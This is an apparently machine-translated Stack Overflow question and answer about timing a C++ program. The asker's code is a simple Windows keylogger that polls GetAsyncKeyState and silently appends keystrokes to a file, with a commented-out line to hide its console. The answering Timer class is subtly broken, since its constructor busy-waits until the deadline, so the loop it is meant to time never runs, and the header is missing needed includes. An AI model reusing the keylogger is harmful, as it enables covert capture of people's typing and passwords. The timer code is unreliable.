如何为带有时钟的程序创建计时器?

时间:2019-07-15 14:38:02

标签: c++ c++11 time.h

我正在尝试制作一个基本的键盘记录程序,我希望能够在20分钟后关闭该程序。在线查看时,我发现了这个clock_T函数,但是我不知道如何将其转换为秒(从几秒钟内我就可以分钟)。

我尝试使用基于“睡眠”功能的旧计时器。 但是考虑到我必须能够随时键入并将其保存在日志中,这给我带来了很多问题。 我无法理解高水平的编码,因此在浏览互联网上的视频或说明时遇到了很多困难。     我希望看到显示的秒数会随着时间的推移而增加,所以以后我可以在达到所需的秒数后关闭代码,但是在特定的秒数内我遇到了相同数量的垃圾邮件。     例如:11111111111111111111111111111111111(一秒后增加)22222222222222222222222222222222(再次增加)333333333333333333333333。等。

   #include <iostream>
    #include <string>
    #include <Windows.h>
    #include <fstream>
    #include <time.h>
    using namespace std;

    int main() {
    //  FreeConsole();

        clock_t start = 0;
        clock_t end = 0;
        clock_t delta = 0;

        start = clock();

        fstream info;
        string filename = "Data.txt";


            while (true) {
                info.open(filename.c_str(), ios::app);
                for (char i = 31; i < 122; i++) {
                    if (GetAsyncKeyState(i) == -32767) { 
                        info << i;
                        cout << i;
                    }

                }
                info.close();
                end = clock();
                delta = end - start;
                delta = delta; // 1000;
                std::cout << delta/CLOCKS_PER_SEC << endl;
            }
            return 0;
        }

1 个答案:

答案 0 :(得分:0)

我有一个使用chrono库的类模板。这是其用法的一个简单示例。

main.cpp

#include <iostream>

#include "Timer.h"

int main() {

    while( Timer<minutes>(1).isRunning() ) {
        // do something for 1 minute
    }

    while ( Timer<seconds>(30).isRunning() ) {
        // do something for 30 seconds
    }

    return 0;
}

Timer.h

#pragma once

#include <chrono>

using namespace std::chrono;

template<class Resolution = seconds>
class Timer {
public:
    using Clock = std::conditional_t<high_resolution_clock::is_steady,
                                     high_resolution_clock, steady_clock>;

private:
    Clock::time_point startTime_;
    Clock::time_point timeToRunFor_;    
    bool isRunning_ = false;

public:
    explicit Timer(int count) :
        startTime_{ Clock::now() },
        timeToRunFor_{ Clock::now() + Resolution(count) },
        isRunning_{ true }
    {
        run();
    }

    ~Timer() {
        const auto stopTime = Clock::now();
        std::ostringstream stream;
        stream << "Time Elapsed: "
            << duration_cast<Resolution>(stopTime - startTime_).count()  
            << std::endl;
        std::cout << stream.str() << std::endl;
    }

    bool isRunning() {
        return isRunning_;
    }

private:    
    void run() {
        while (steady_clock::now() < timeToRunFor_) {}
        isRunning_ = false;
    }
};

输出

Time Elapsed: 1

Time Elapsed: 30

时间先等待大约1分钟,然后打印1,然后等待大约30秒,然后打印30。这是一个很好的轻量级类,易于使用。


我目前正在向此类添加更多内容,以支持使用默认构造函数手动启动和停止使用。由于该类目前处于领先地位,因此您可以创建该类的实例或对象作为变量,并为其明确指定时间,该时间将运行那么长时间,但您无法在需要时手动启动和停止该计时器。完成此类后,默认构造函数将不使用内部成员timeToRunFor_run(),因为它们将与显式构造函数版本一起使用。

完成后,您可以通过while循环设置所需的内容运行多长时间,然后通过Explicit构造函数版本在所需时间到期后终止,也可以将此类的本地实例创建为对象,调用start函数,对未知的时间量执行一些其他操作,然后在之后调用stop函数并执行所经过时间的查询。我需要更多时间来完成本课程,所以我现在将其发布,一旦完成对课程的更新,我将在这里将其更新为较新的版本!